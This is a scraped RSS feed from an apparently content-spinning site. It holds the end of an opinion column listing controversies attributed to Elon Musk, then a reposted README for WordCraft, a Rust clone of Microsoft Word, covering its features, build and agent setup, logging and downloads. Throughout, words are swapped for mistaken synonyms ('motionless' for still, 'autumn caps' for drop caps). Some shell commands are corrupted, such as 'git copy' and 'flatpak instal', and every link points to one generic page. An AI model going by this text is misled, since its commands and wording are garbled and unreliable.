announced he&rsquo;d made Grok small &ldquo;politically correct.&rdquo; Within days it was praising Hitler and repeating antisemitic memes. xAI apologized and blamed a code update. <a href="https://en.mycoding.id/category/technology" target="_blank" rel="noopener">TechCrunch</a></li> </ol> <ol start="7"> <li><strong>He told a London assemblage &ldquo;fight rear or die.&rdquo; (Sept 2025)</strong> He said by video at Tommy Robinson&rsquo;s rally and told the assemblage aggression was coming for them either way. Police reported 26 officers injured and 25 arrests. Downing Street called his tongue hazardous and inflammatory. <a href="https://en.mycoding.id/category/technology" target="_blank" rel="noopener">NBC News</a></li> </ol> <ol start="8"> <li><strong>He called a cave rescuer a &ldquo;pedo guy.&rdquo; (2018)</strong> The diver&rsquo;s infringement was saying Musk&rsquo;s mini-sub wouldn&rsquo;t work. A panel established it wasn&rsquo;t legally defamation, and Musk admitted on the remain that he didn&rsquo;t really think the guy was a pedophile. <a href="https://en.mycoding.id/category/technology" target="_blank" rel="noopener">CNBC</a></li> </ol> <ol start="9"> <li><strong>He boosted a conspiracy theory concerning the Paul Pelosi attack. (Oct 2022)</strong> Days following purchasing Twitter, he connected to a fringe location whose narrative on the hammer assault pushed an anti-LGBT conspiracy theory. It&rsquo;s the identical location that formerly reported Hillary Clinton was dead. He deleted the article afterward that day. <a href="https://en.mycoding.id/category/technology" target="_blank" rel="noopener">CBS News</a></li> </ol> <ol start="10"> <li><strong>Everyone&rsquo;s a traitor now. (July 2026)</strong> An Economist publishing company pushed rear on him in an interview, and he called her a traitor to the West. He afterward declared that anyone who opposes &ldquo;remigration&rdquo; is a traitor too, and kept posting &ldquo;first the traitors, afterward the invaders.&rdquo; That motto comes from <em>The Turner Diaries</em>. <a href="https://en.mycoding.id/category/technology" target="_blank" rel="noopener">Il Foglio</a></li> </ol> <ol start="11"> <li><strong>He compared gender-care surgeons to Josef Mengele. (Feb 2026)</strong> That&rsquo;s the Auschwitz doctor. Musk called the surgeons &ldquo;modern day Mengeles&rdquo; and predicted thousands of lawsuits. <a href="https://en.mycoding.id/category/technology" target="_blank" rel="noopener">IOL</a></li> </ol> <p>For the record, Musk says he&rsquo;s not antisemitic, not a Nazi, and fair protecting kids. I think his words inform a distinct story.</p> <p>So the inquiry becomes this: Can you differ alongside Elon Musk, or regard him an anti-trans, racist Nazi, and motionless use X?</p> <p>Sure, you can.</p> <p>Full disclosure: I motionless own two Teslas. They&rsquo;re old. One&rsquo;s from 2017; one&rsquo;s from 2019. We bought them, as our bumper stickers say, before we knew Elon was crazy. They have unlimited supercharging, so I awareness akin I&rsquo;m costing Elon prosperity all period I use them. I&rsquo;m marketing among the two as shortly as our new car arrives, which have to be any day now. Tesla replaced the complete power division on it lately under warranty, again, at their $20,000 expense, which brought me awesome joy &mdash; since they had to pay it and I didn&rsquo;t.</p> <p>I don&rsquo;t sojourn X since I think X profits advantage Elon Musk, and I think Elon Musk is a bad person. My kids loved Harry Potter, but we don&rsquo;t provision any additional prosperity to trans-hater JK Rowling, either.</p> <p>It&rsquo;s difficult to young female out on fun things. I young female what Twitter was. I desire I were motionless enjoying the party. But I sleep way improved at night knowing I&rsquo;m taking the steps I can to not create that smug, rich, hateful asshole any richer.</p></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/x-is-bad-though-72109</guid> <pubDate>Mon, 12 Oct 2026 04:50:58 +0700</pubDate> <author><![CDATA[support@mycoding.id (Riki Setiawan)]]></author> </item> <item> <title><![CDATA[An open-source, clean-room reimplementation of Microsoft Word in pure Rust]]></title> <description><![CDATA[An open-source, clean-room reimplementation of Microsoft Word in pure Rust. Comments]]></description> <media:thumbnail url="https://opengraph.githubassets.com/f18780c4e18cf69cbf779992104e0b762ede9626cd8d7c093cdd76282c467fb9/storytold/wordcraft"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/an-open-source-clean-room-reimplementation-of-microsoft-word-in-pure-rust-72103</link> <content:encoded><![CDATA[<div data-hpc="true" containertiming="hpc"><p dir="auto"> <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow"> <source media=" dark)" srcset="/storytold/wordcraft/raw/main/docs/brand/artcraft-logo-white.svg"> <img alt="ArtCraft" src="https://github.com/storytold/wordcraft/raw/main/docs/brand/artcraft-logo.svg" width="200"> </source> </a> </p> <p dir="auto"> <b>Writing and document design; an open-source, clean-room reimplementation of Microsoft Word, rebuilt in clean Rust.</b> </p> <p dir="auto"> A fast, open-source term processor alongside the Word workflow you already know: the ribbon, styles, tables, track changes, references and communication merge. It says and writes .docx, runs natively on macOS, Windows, Linux and BSD, and in the browser via WebAssembly.<br> <i>By the ArtCraft team.</i> </p> <p dir="auto"> <a href="https://en.mycoding.id/category/technology" target="_blank"><img alt="Written in Rust" src="https://camo.githubusercontent.com/a8c644960cd730f1f4aceb76c3ecb5b5e7d698452e63a16781bae9a038a8f0c8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f7772697474656e253230696e2d527573742d3262343762353f7374796c653d666c61742d737175617265266c6f676f3d72757374266c6f676f436f6c6f723d7768697465" data-canonical-src="https://img.shields.io/badge/written%20in-Rust-2b47b5?style=flat-square&amp;logo=rust&amp;logoColor=white"></a> <a href="https://en.mycoding.id/category/technology" target="_blank"><img alt="Runs on macOS, Windows, Linux, BSD and the web" src="https://camo.githubusercontent.com/5e1de9e8cc1c7b1d3f586852a067da3f6077abe815eab89dc55cfe34278b4782/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f72756e732532306f6e2d6d61634f5325323025433225423725323057696e646f77732532302543322542372532304c696e75782532302543322542372532304253442532302543322542372532305765622d3362356264623f7374796c653d666c61742d737175617265" data-canonical-src="https://img.shields.io/badge/runs%20on-macOS%20%C2%B7%20Windows%20%C2%B7%20Linux%20%C2%B7%20BSD%20%C2%B7%20Web-3b5bdb?style=flat-square"></a> <a href="https://en.mycoding.id/category/technology" target="_blank"><img alt=" MIT OR Apache-2.0" src="https://camo.githubusercontent.com/6e8794d86d3148e77a33af50d4e097fe2b85c89de9cccad396d5524dc4a1e0f9/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542532302532462532304170616368652d2d322e302d3262343762353f7374796c653d666c61742d737175617265" data-canonical-src="https://img.shields.io/badge/license-MIT%20%2F%20Apache--2.0-2b47b5?style=flat-square"></a> <a href="https://en.mycoding.id/category/technology" target="_blank"><img alt="Agent-drivable complete MCP" src="https://camo.githubusercontent.com/fcc948337b809cdbb614585b10ca80ce93564699d06927f774ed0c9166a4f634/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6167656e74732d4d4350253230254332254237253230434c492d3362356264623f7374796c653d666c61742d737175617265" data-canonical-src="https://img.shields.io/badge/agents-MCP%20%C2%B7%20CLI-3b5bdb?style=flat-square"></a> </p> <p dir="auto"> <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow"><img alt="Join the ArtCraft community on Discord" src="https://camo.githubusercontent.com/7f4794b6adb6eecea2c6b7b16c20e9b721472f0ff45ab34051a69745ddbc9fb3/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4a6f696e25323075732532306f6e253230446973636f72642d3538363546323f7374796c653d666f722d7468652d6261646765266c6f676f3d646973636f7264266c6f676f436f6c6f723d7768697465" height="40" data-canonical-src="https://img.shields.io/badge/Join%20us%20on%20Discord-5865F2?style=for-the-badge&amp;logo=discord&amp;logoColor=white"></a> </p> <p dir="auto"> <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow"><b>WordCraft on getartcraft.com</b></a> &middot; <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">ArtCraft</a> &middot; <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">All Crafting Apps</a> </p> <br> <p dir="auto"> <a href="https://en.mycoding.id/category/technology" target="_blank"><img src="https://github.com/storytold/wordcraft/raw/main/docs/images/hero.png" alt="WordCraft alongside the Home tab of the ribbon open complete a two-page document titled The Open Studio Handbook. The Navigation pane on the remaining lists the document&#039;s headings, the Styles exhibition shows live previews of Normal, Heading 1, Title and Subtitle, and a term in the archetypal paragraph is selected." width="100%"></a> <br><sub><b>The Open Studio Handbook</b>, WordCraft's built-in sample: the ribbon, live Styles gallery, rulers and the Navigation pane.</sub> </p> <div dir="auto"><p dir="auto"><svg data-component="Octicon" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z"></path></svg>Note</p><p dir="auto"><strong>ArtCraft is a community of artists from all walks of life.</strong> Painters, photographers, filmmakers, illustrators, designers, animators, hobbyists, and group who picked up a pencil last week. If you create things, you're one of us. <strong><a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">Come say hi on Discord</a>.</strong></p> </div> <p dir="auto"> <a href="https://en.mycoding.id/category/technology" target="_blank">A tour</a> &middot; <a href="https://en.mycoding.id/category/technology" target="_blank">Why WordCraft</a> &middot; <a href="https://en.mycoding.id/category/technology" target="_blank">What plant today</a> &middot; <a href="https://en.mycoding.id/category/technology" target="_blank">Quick start</a> &middot; <a href="https://en.mycoding.id/category/technology" target="_blank">For agents</a> &middot; <a href="https://en.mycoding.id/category/technology" target="_blank">Architecture</a> &middot; <a href="https://en.mycoding.id/category/technology" target="_blank">Roadmap</a> &middot; <a href="https://en.mycoding.id/category/technology" target="_blank">Downloads</a> &middot; <a href="https://en.mycoding.id/category/technology" target="_blank">The Crafting Apps</a> &middot; <a href="https://en.mycoding.id/category/technology" target="_blank">License and credits</a> </p> <p dir="auto">Every screenshot below is WordCraft itself, rendered offscreen by its own UI test harness (cargo run -p wordcraft-ui-egui --example ui_shot).</p> <table readabilitydatatable="0"> <tbody><tr> <td><a href="https://en.mycoding.id/category/technology" target="_blank"><img src="https://github.com/storytold/wordcraft/raw/main/docs/images/review.png" alt=" the term forty is inserted in magenta and thirty struck through; three commented phrases are shaded and joined by dashed chief lines to comment balloons in a gray markup area to the correct of the page" width="100%"></a><p dir="auto"><sub><b>Review.</b> Track changes, comment balloons in the margin, obtain and reject, orthography and grammar as you type.</sub></p></td> <td><a href="https://en.mycoding.id/category/technology" target="_blank"><img src="https://github.com/storytold/wordcraft/raw/main/docs/images/references.png" alt=" a array of contents alongside dotted leaders and leaf numbers on leaf one, and a styled table, numbered catalog and hyperlink on leaf two" width="100%"></a><p dir="auto"><sub><b>References.</b> Tables of contents, footnotes, citations in APA, MLA, Chicago or IEEE, indicator and captions.</sub></p></td> </tr> <tr> <td><a href="https://en.mycoding.id/category/technology" target="_blank"><img src="https://github.com/storytold/wordcraft/raw/main/docs/images/design.png" alt="The Design tab showing style-set previews; the document is set in a serif theme alongside plum headings underlined by lean rules and a faint diagonal DRAFT watermark rearward the text" width="100%"></a><p dir="auto"><sub><b>Design.</b> Themes, manner sets, paragraph spacing, watermarks, leaf color and borders.</sub></p></td> <td><a href="https://en.mycoding.id/category/technology" target="_blank"><img src="https://github.com/storytold/wordcraft/raw/main/docs/images/dark.png" alt=" pilcrows at paragraph ends and dots for spaces" width="100%"></a><p dir="auto"><sub><b>Dark mode</b> alongside formatting marks, and the Insert tab: tables, pictures, shapes, links, headers, footers, sectors and symbols.</sub></p></td> </tr> <tr> <td colspan="2"><a href="https://en.mycoding.id/category/technology" target="_blank"><img src="https://github.com/storytold/wordcraft/raw/main/docs/images/layout.png" alt=" the archetypal paragraph opens alongside a three-line autumn cap E, a dreary blue circle sits beside the second division alongside its paragraph wrapping about it and hyphenating art-ist at the row end, all row is numbered in the remaining border and a lean blue border surrounds the page" width="100%"></a><p dir="auto"><sub><b>Layout.</b> Drop caps, content wrapping about pictures and shapes, automatic hyphenation, row numbers and leaf borders.</sub></p></td> </tr> <tr> <td colspan="2"><a href="https://en.mycoding.id/category/technology" target="_blank"><img src="https://github.com/storytold/wordcraft/raw/main/docs/images/backstage.png" alt="The File tab commencement leaf alongside a Good dawn greeting, thumbnails of the Blank document, Studio handbook, Letter, Résumé and Report templates, and a catalog of latest documents" width="100%"></a><p dir="auto"><sub><b>File.</b> Start from a template, open latest documents, edit properties, export to PDF and another formats.</sub></p></td> </tr> </tbody></table> <ul dir="auto"> <li><strong>Familiar.</strong> Word's ribbon tabs, groups, shortcuts and behaviour: Enter continues a list, Tab demotes it, Ctrl/&#8984;+B bolds the term under the caret, the Styles exhibition previews styles live, F4 repeats, F7 checks spelling, F8 extends the selection.</li> <li><strong>Your files.</strong> Opens and saves .docx (OOXML), and additionally .odt, .rtf, .html, .md, .tex (LaTeX), .txt; opens Word 97-2003 .doc; exports PDF with real, selectable text, links and bookmarks.</li> <li><strong>Fast.</strong> Paragraph layout is cached, so typing in a 188-page document re-lays it out in about 1.4 ms; pages render on demand.</li> <li><strong>Everywhere.</strong> One Rust codebase for macOS, Windows, Linux, BSD and the web. No Electron, no Tauri: native <a href="https://en.mycoding.id/category/technology" target="_blank">egui</a> on the GPU.</li> <li><strong>Built for agents.</strong> Every act is a command alongside an id. The identical 422 commands run the ribbon, keyboard shortcuts, the command search, a command-line tool, a JSON authority conduit and an MCP server.</li> <li><strong>Private.</strong> Spelling, grammar and everything alternatively activity offline.</li> <li><strong>Open.</strong> MIT OR Apache-2.0. Clean-room: built from community details and observation, with every asset first or openly licensed.</li> </ul> <table readabilitydatatable="1"> <thead> <tr> <th>Area</th> <th>Highlights</th> </tr> </thead> <tbody> <tr> <td><strong>Writing</strong></td> <td>Fast typing alongside IME, astute quotes, AutoCorrect, catalog autoformat (* , 1. ), dashes; word, sentence, paragraph selection; drag-select; clipboard alongside formatting; undo/redo; discover and substitute alongside regex</td> </tr> <tr> <td><strong>Formatting</strong></td> <td>Fonts, sizes, bold/italic/underline styles, strike, sub/superscript, caps, highlight, colours, character spacing, Format Painter, Change Case, Clear Formatting</td> </tr> <tr> <td><strong>Paragraphs</strong></td> <td>Alignment, indents (draggable on the ruler), spacing, row spacing, tabs alongside leaders, borders, shading, keep alongside next, widow/orphan control</td> </tr> <tr> <td><strong>Styles</strong></td> <td>Built-in manner set, live gallery, Styles pane, create/modify/update styles, manner sets, themes</td> </tr> <tr> <td><strong>Lists</strong></td> <td>Bullets, numbering, multilevel, restart, set value, tradition formats</td> </tr> <tr> <td><strong>Tables</strong></td> <td>Insert by grid, merge/split, styles alongside banded rows, borders, shading, header rows repeated throughout pages, rows that divided throughout pages, sort, formulas, content &harr; table</td> </tr> <tr> <td><strong>Pages</strong></td> <td>Margins, orientation, size, columns, page/column/section breaks, headers and footers (first page, odd/even), leaf numbers, watermark, leaf borders, row numbers, vertical alignment, autumn caps, automatic hyphenation</td> </tr> <tr> <td><strong>Objects</strong></td> <td>Pictures (resize, crop, recolour, brightness/contrast, transparency, backdrop removal, image styles, rotate), shapes, content boxes, floating stance alongside content wrapping (square, top and bottom, rearward or in forefront of text)</td> </tr> <tr> <td><strong>References</strong></td> <td>Table of contents, footnotes and endnotes, citations and bibliography (APA, MLA, Chicago, IEEE), captions, array of figures, cross-references, index, array of authorities</td> </tr> <tr> <td><strong>Review</strong></td> <td>Spelling and grammar alongside suggestions, thesaurus, term count, comments in border balloons or a pane, track changes, accept/reject, difference documents, restrict editing, accessibility checker, document inspector</td> </tr> <tr> <td><strong>Mailings</strong></td> <td>Mail merge from CSV, merge fields, location block, salutation line, rules, preview, complete to a document; envelopes and labels</td> </tr> <tr> <td><strong>View</strong></td> <td>Print layout, web layout, draft, peruse mode, focus, zoom, one/multiple pages, leaf width, Navigation pane, rulers, gridlines, dreary mode; interface in English, &#31616;&#20307;&#20013;&#25991;, &#32321;&#39636;&#20013;&#25991;, &#26085;&#26412;&#35486;, Portugu&ecirc;s (Brasil), Espa&ntilde;ol, &#1059;&#1082;&#1088;&#1072;&#1111;&#1085;&#1089;&#1100;&#1082;&#1072;, &#1057;&#1088;&#1087;&#1089;&#1082;&#1080; / Srpski, Eesti, T&uuml;rk&ccedil;e or &#1056;&#1091;&#1089;&#1089;&#1082;&#1080;&#1081; (follows the scheme tongue by default)</td> </tr> <tr> <td><strong>Files</strong></td> <td>.docx read/write (opens in Word), Word 97-2003 .doc import, PDF export, .odt, .rtf, .html, .md, .tex, .txt import/export, leaf images</td> </tr> </tbody> </table> <p dir="auto">The honest picture, area by area, is in <a href="https://en.mycoding.id/category/technology" target="_blank">ROADMAP.md</a>, the <a href="https://en.mycoding.id/category/technology" target="_blank">parity assessment</a> and the generated <a href="https://en.mycoding.id/category/technology" target="_blank">feature checklist</a>.</p> <div dir="auto" data-snippet-clipboard-copy-content="//github.com/storytold/wordcraft cd wordcraft cargo run --release -p wordcraft -- --sample # the desktop app alongside the example document cargo run --release -p wordcraft -- report.docx # open a document"><pre>git copy https://github.com/storytold/wordcraft <span>cd</span> wordcraft cargo run --release -p wordcraft -- --sample <span><span>#</span> the desktop app alongside the example document</span> cargo run --release -p wordcraft -- report.docx <span><span>#</span> open a document</span></pre></div> <p dir="auto">Command line:</p> <div dir="auto" data-snippet-clipboard-copy-content="wordcraft-cli change report.docx report.pdf # docx, pdf, odt, rtf, html, md, tex, txt, png wordcraft-cli content report.docx # plain text wordcraft-cli inspect report.docx # construction as JSON wordcraft-cli run --template example \ --cmd &#039;select.text={&quot;text&quot;:&quot;Membership&quot;}&#039; --cmd format.bold --save out.docx"><pre>wordcraft-cli change report.docx report.pdf <span><span>#</span> docx, pdf, odt, rtf, html, md, tex, txt, png</span> wordcraft-cli content report.docx <span><span>#</span> plain text</span> wordcraft-cli inspect report.docx <span><span>#</span> construction as JSON</span> wordcraft-cli run --template example \ --cmd <span><span>'</span>select.text={"text":"Membership"}<span>'</span></span> --cmd format.bold --save out.docx</pre></div> <p dir="auto">Web: cd apps/wordcraft-web &amp;&amp; trunk serve, afterward open <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">http://127.0.0.1:8771/?sample</a>.</p> <p dir="auto">WordCraft was designed to be driven by group <em>and</em> by AI agents.</p> <div dir="auto" data-snippet-clipboard-copy-content="claude mcp add wordcraft -- wordcraft-cli mcp # headless documents wordcraft --control 7981 &amp; # or run the operating app… claude mcp add wordcraft-app -- wordcraft-cli mcp --connect 127.0.0.1:7981"><pre>claude mcp add wordcraft -- wordcraft-cli mcp <span><span>#</span> headless documents</span> wordcraft --control 7981 <span>&amp;</span> <span><span>#</span> or run the operating app&hellip;</span> claude mcp add wordcraft-app -- wordcraft-cli mcp --connect 127.0.0.1:7981</pre></div> <p dir="auto">Tools contain list_commands, execute, batch, type_text, select_text, inspect_document, render_page, save_document, and, alongside a operating app, screenshot, click and key. Agents can inspect their activity through inspect_document without screenshots. See <a href="https://en.mycoding.id/category/technology" target="_blank">docs/mcp.md</a> and the <a href="https://en.mycoding.id/category/technology" target="_blank">control protocol</a>. Macros document any sequence of commands and play it rear (tools.recordMacro, tools.macros).</p> <p dir="auto">The desktop app writes its log records to norm error and to logs/wordcraft.log next to its preferences: on Linux $XDG_CONFIG_HOME/wordcraft/logs/ (by default ~/.config/wordcraft/logs/), on macOS ~/Library/Application Support/WordCraft/logs/, on Windows %APPDATA%\WordCraft\logs\. A commencement from a desktop list or the Dock has no terminal, so this document is what to nexus to a bug report: unreadable parts of a .docx, pictures or fonts a PDF export had to depart out and panics the command defender restored from district there. Each initiate moves the former log to wordcraft.1.log (and that one to wordcraft.2.log), so the log of a run that wrecked survives the next start; a log stops expanding at 16 MiB. --version writes no file, and runs alongside WORDCRAFT_NO_PREFS (agents' test runs) log to norm error only. Document content is never logged; a panic communication leaves out the content it quotes.</p> <p dir="auto">By default WordCraft's own crates log at info and everything alternatively at warn. RUST_LOG replaces that alongside env_logger-style directives, for example RUST_LOG=debug, RUST_LOG=warn,wordcraft_docx=trace or RUST_LOG=info,wgpu_core=warn; a directive ending in * covers all mark starting alongside it (wordcraft*=debug). The logger is apps/wordcraft/src/logging.rs.</p> <table readabilitydatatable="1"> <thead> <tr> <th>Layer</th> <th>Crate</th> <th>Job</th> </tr> </thead> <tbody> <tr> <td>L0</td> <td>wordcraft-geom</td> <td>units and measurements</td> </tr> <tr> <td>L1</td> <td>wordcraft-doc, wordcraft-fonts, wordcraft-proof</td> <td>document example and editing; fonts and shaping; spelling, grammar, hyphenation</td> </tr> <tr> <td>L2</td> <td>wordcraft-layout, wordcraft-docx, wordcraft-formats</td> <td>line breaking, pagination, tables, notes, hit testing; OOXML; ODT/RTF/HTML/Markdown/TXT</td> </tr> <tr> <td>L3</td> <td>wordcraft-render, wordcraft-pdf</td> <td>rasteriser (vello_cpu); PDF (krilla)</td> </tr> <tr> <td>L4</td> <td>wordcraft-engine</td> <td>session, undo, 422 commands, Word characteristic catalog</td> </tr> <tr> <td>L5</td> <td>wordcraft-mcp</td> <td>MCP server</td> </tr> <tr> <td>L6</td> <td>wordcraft-ui-egui</td> <td>the Word-style forefront end (swappable)</td> </tr> <tr> <td>apps</td> <td>wordcraft, wordcraft-cli, wordcraft-web</td> <td>desktop, command line, browser</td> </tr> </tbody> </table> <p dir="auto">cargo xtask ci runs formatting, clippy, ~800 tests, the asset-attribution check, the layering check and the wasm build. Contributor and delegate instructions: <a href="https://en.mycoding.id/category/technology" target="_blank">AGENTS.md</a>.</p> <p dir="auto">WordCraft is in <strong>alpha</strong>. It covers 88% of Word's ribbon features alongside commands today; counting depth, document fidelity, stability and the rest, we evaluation it is concerning 60% of the way to replacing all of Word for genuine work, concerning 55% for a representative professional's weekly activity and concerning 63% for everyday essentials. Beta needs evaluation against real-world .docx files, keeping charts and SmartArt through a circular trip, pagination nearer to Word's, a stability clear and native printing. Details and estimates: <a href="https://en.mycoding.id/category/technology" target="_blank">ROADMAP.md</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">where we autumn short</a>.</p> <p dir="auto"><strong>Download WordCraft</strong> from GitHub: the <a href="https://en.mycoding.id/category/technology" target="_blank">latest release</a> has all build listed below, and <a href="https://en.mycoding.id/category/technology" target="_blank">all releases</a> has before versions and their notes. &lt;ver&gt; in the document names is the type number, and SHA256SUMS.txt lists a checksum for all file.</p> <table readabilitydatatable="1"> <thead> <tr> <th>Build</th> <th>Installer</th> <th>Portable</th> </tr> </thead> <tbody> <tr> <td>x64 (64-bit Intel/AMD)</td> <td>wordcraft-&lt;ver&gt;-windows-x64.msi</td> <td>wordcraft-&lt;ver&gt;-windows-x64-portable.zip</td> </tr> <tr> <td>arm64 (Snapdragon and another ARM PCs)</td> <td>wordcraft-&lt;ver&gt;-windows-arm64.msi</td> <td>wordcraft-&lt;ver&gt;-windows-arm64-portable.zip</td> </tr> <tr> <td>x86 (32-bit)</td> <td>wordcraft-&lt;ver&gt;-windows-x86.msi</td> <td>wordcraft-&lt;ver&gt;-windows-x86-portable.zip</td> </tr> </tbody> </table> <p dir="auto">Installers and executables are code-signed.</p> <p dir="auto"><strong>If the app doesn't open on Windows:</strong> the desktop app initializes lone DirectX 12 by default. Letting wgpu additionally create an OpenGL case can collision several graphics drivers (AMD's atio6axx.dll) before the opening appears, so the app would flash in Task Manager and quit. WGPU_BACKEND overrides the default for troubleshooting (for example dx12 or vulkan). In PowerShell, from the directory containing the executable:</p> <div dir="auto" data-snippet-clipboard-copy-content='WGPU_BACKEND # reconstruct the default for afterward launches'><pre><span>$<span>env:</span>WGPU_BACKEND</span> <span>=</span> <span><span>"</span>vulkan<span>"</span></span> <span>&amp;</span> .\<span>wordcraft.exe</span> <span>Remove-Item</span> Env:WGPU_BACKEND <span><span>#</span> reconstruct the default for afterward launches</span></pre></div> <p dir="auto">An definitive gl override can bring the controller collision rear on affected systems. The macOS, Linux and web backend defaults are unchanged.</p> <p dir="auto"><strong>If the app quits correct following its opening appears alongside "Parent equipment is lost" in the log:</strong> WordCraft compiles DirectX 12 shaders alongside FXC, the compiler built into Windows, so it needs no dxcompiler.dll/dxil.dll and ignores any copy another program put on PATH (#603). WGPU_DX12_COMPILER (fxc, dxc, auto) overrides this; alongside dxc, a matching dxcompiler.dll <em>and</em> dxil.dll must sit next to wordcraft.exe. WGPU_BACKEND = "vulkan" also avoids DirectX 12 altogether.</p> <p dir="auto"><strong>If the app is dilatory on an older Windows PC:</strong> whenever DirectX 12 finds no graphics cardstock alongside a driver for it (for example Intel 4th-generation graphics on Windows 11), it lone offers Microsoft's software renderer, which draws all example on the processor. In that case WordCraft uses OpenGL instead, without environment anything. The log document records the choice (lines starting with graphics:). WGPU_BACKEND motionless overrides it, e.g. $env:WGPU_BACKEND = "gl" or "dx12".</p> <table readabilitydatatable="1"> <thead> <tr> <th>Build</th> <th>File</th> <th>Notes</th> </tr> </thead> <tbody> <tr> <td>App, worldwide (Apple silicon + Intel)</td> <td>wordcraft-&lt;ver&gt;-macos-universal.dmg</td> <td>Signed and notarized</td> </tr> <tr> <td>Command-line tool, universal</td> <td>wordcraft-cli-&lt;ver&gt;-macos-universal.zip</td> <td>Signed and notarized</td> </tr> </tbody> </table> <table readabilitydatatable="1"> <thead> <tr> <th>Format</th> <th>x86_64</th> <th>aarch64 (ARM64)</th> <th>Notes</th> </tr> </thead> <tbody> <tr> <td>AppImage</td> <td>wordcraft-&lt;ver&gt;-linux-x86_64.AppImage</td> <td>wordcraft-&lt;ver&gt;-linux-aarch64.AppImage</td> <td>Runs anywhere; updates itself alongside <a href="https://en.mycoding.id/category/technology" target="_blank">AppImageUpdate</a> (.zsync files)</td> </tr> <tr> <td>Flatpak</td> <td>wordcraft-&lt;ver&gt;-linux-x86_64.flatpak</td> <td>wordcraft-&lt;ver&gt;-linux-aarch64.flatpak</td> <td>Sandboxed; flatpak instal --user &lt;file&gt;</td> </tr> <tr> <td>Debian/Ubuntu</td> <td>wordcraft-&lt;ver&gt;-linux-x86_64.deb</td> <td>wordcraft-&lt;ver&gt;-linux-aarch64.deb</td> <td></td> </tr> <tr> <td>Fedora/RHEL/openSUSE</td> <td>wordcraft-&lt;ver&gt;-linux-x86_64.rpm</td> <td>wordcraft-&lt;ver&gt;-linux-aarch64.rpm</td> <td></td> </tr> <tr> <td>Tarball</td> <td>wordcraft-&lt;ver&gt;-linux-x86_64.tar.gz</td> <td>wordcraft-&lt;ver&gt;-linux-aarch64.tar.gz</td> <td>Unpack anywhere</td> </tr> </tbody> </table> <p dir="auto">RISC-V (riscv64): wordcraft-&lt;ver&gt;-linux-riscv64.tar.gz, a tarball cross-compiled for glibc 2.39+ (Ubuntu 24.04, Debian 13 and newer).</p> <p dir="auto"><strong>Arch Linux (AUR).</strong> Community members keep three AUR packages; the project doesn't publish to the AUR itself. Install one of them:</p> <table readabilitydatatable="1"> <thead> <tr> <th>Package</th> <th>What it installs</th> <th>Choose it when</th> </tr> </thead> <tbody> <tr> <td><a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">wordcraft-bin</a></td> <td>The publish tarball above, prebuilt (x86_64, aarch64)</td> <td>You desire the latest publish without compiling (quickest)</td> </tr> <tr> <td><a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">wordcraft</a></td> <td>The latest release, built from origin alongside cargo</td> <td>You favor to build releases yourself</td> </tr> <tr> <td><a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">wordcraft-git</a></td> <td>The current chief branch, built from source</td> <td>You desire unreleased changes and obtain an occasional damaged build</td> </tr> </tbody> </table> <p dir="auto">For example yay -S wordcraft-bin or paru -S wordcraft-bin.</p> <table readabilitydatatable="1"> <thead> <tr> <th>Build</th> <th>File</th> </tr> </thead> <tbody> <tr> <td>x86_64</td> <td>wordcraft-&lt;ver&gt;-freebsd-x86_64.tar.gz</td> </tr> </tbody> </table> <table readabilitydatatable="1"> <thead> <tr> <th>Build</th> <th>File</th> <th>Notes</th> </tr> </thead> <tbody> <tr> <td>Static site</td> <td>wordcraft-web-&lt;ver&gt;.zip</td> <td>Runs in a contemporary browser; presenter it on any fixed server</td> </tr> </tbody> </table> <p dir="auto">WordCraft is among the <strong>Crafting Apps</strong>: free, open-source imaginative tools from the <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">ArtCraft</a> team, all written from scratch in Rust and all capable to stand on its own.</p> <p dir="auto">And <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow"><strong>ArtCraft</strong></a> itself, our AI depiction and video studio for artists who desire genuine control.</p> <br> <p dir="auto"> <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow"><img alt="Join the ArtCraft community on Discord" src="https://camo.githubusercontent.com/7f4794b6adb6eecea2c6b7b16c20e9b721472f0ff45ab34051a69745ddbc9fb3/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4a6f696e25323075732532306f6e253230446973636f72642d3538363546323f7374796c653d666f722d7468652d6261646765266c6f676f3d646973636f7264266c6f676f436f6c6f723d7768697465" height="40" data-canonical-src="https://img.shields.io/badge/Join%20us%20on%20Discord-5865F2?style=for-the-badge&amp;logo=discord&amp;logoColor=white"></a> </p> <p dir="auto"> Our Discord is anywhere artists of all benevolent suspend out: group who paint, shoot, draw, cut film, set type, and group motionless figuring out what they akin to make. Share what you're operating on, ask for help, inform us what's broken, or inform us what you desire these tools could do. Whatever your average and nevertheless lengthy you've been at it, you're greeted here. </p> <p dir="auto"> <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow"><b>discord.gg/artcraft</b></a> &middot; <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">getartcraft.com</a> &middot; <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">The Crafting Apps</a> &middot; <a 